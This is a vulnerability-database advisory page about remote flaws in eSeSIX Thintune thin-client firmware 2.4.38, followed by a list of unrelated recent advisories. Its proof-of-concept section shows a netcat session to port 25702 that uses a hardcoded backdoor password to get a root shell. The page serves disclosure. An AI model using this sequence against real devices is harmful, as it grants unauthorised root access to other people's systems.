exploits , vulnerabilities , articles , eSeSIX Thintune Thin Client Devices Multiple Vulnerabilities

Title	eSeSIX Thintune Thin Client Devices Multiple Vulnerabilities
Published	2004-07-24-12:00AM
Updated	2004-07-24-05:46PM
Class	Unknown
CVE	CVE-MAP-NOMATCH
Remote	Yes
Local	No
Credit	Discovery is credited to Loss, Dirk <Dirk.Loss@it-consult.net>.
Vulnerable	eSeSIX Thintune XS 2.4.38 Firmware eSeSIX Thintune XM 2.4.38 Firmware eSeSIX Thintune S 2.4.38 Firmware eSeSIX Thintune Mobile 2.4.38 Firmware eSeSIX Thintune M 2.4.38 Firmware eSeSIX Thintune L 2.4.38 Firmware eSeSIX Thintune eXtreme 2.4.38 Firmware
Not Vulnerable	eSeSIX Thintune XS 2.4.39 Firmware eSeSIX Thintune XM 2.4.39 Firmware eSeSIX Thintune S 2.4.39 Firmware eSeSIX Thintune Mobile 2.4.39 Firmware eSeSIX Thintune M 2.4.39 Firmware eSeSIX Thintune L 2.4.39 Firmware eSeSIX Thintune eXtreme 2.4.39 Firmware
Code	The following proof of concept examples are available: $ nc 192.168.1.77 25702 JSRAFV-1 jstwo <- hardcoded password +yep shell <- one of several commands shown above +yep here you are ... id <- run "id" to show my privileges uid=0(root) gid=0(root) file:///
TXT

Vulnerabilities - newest 10 RSS | More

• 2009-12-16 Mozilla Firefox and SeaMonkey MFSA 2009-65 through -71 Multiple Vulnerabilities
• 2009-12-16 Merkaartor Insecure Temporary File Creation Vulnerability
• 2009-12-15 TYPO3 Watchdog (aba_watchdog) Unspecified Information Disclosure Vulnerability
• 2009-12-15 PostgreSQL Index Function Session State Modification Local Privilege Escalation Vulnerability
• 2009-12-15 PostgreSQL NULL Character CA SSL Certificate Validation Security Bypass Vulnerability
• 2009-12-15 IBM DB2 prior to 9.5 Fix Pack 5 Multiple Unspecified Security Vulnerabilities
• 2009-12-15 Sun Ray Server Software Desktop Session Handling Local Security Bypass Vulnerability
• 2009-12-15 Mozilla Firefox Sage Extension RSS Feeds Cross Domain Scripting Vulnerability
• 2009-12-15 Adobe Reader and Acrobat (CVE-2009-4324) Remote Code Execution Vulnerability
• 2009-12-14 Microsoft Protected Extensible Authentication Protocol Authentication Bypass Vulnerability

• Vulnerabilities
• Exploits
• News
• Articles

Copyright 2007, SecurityDot
Wed, 16 Dec 2009 14:43:42 +0000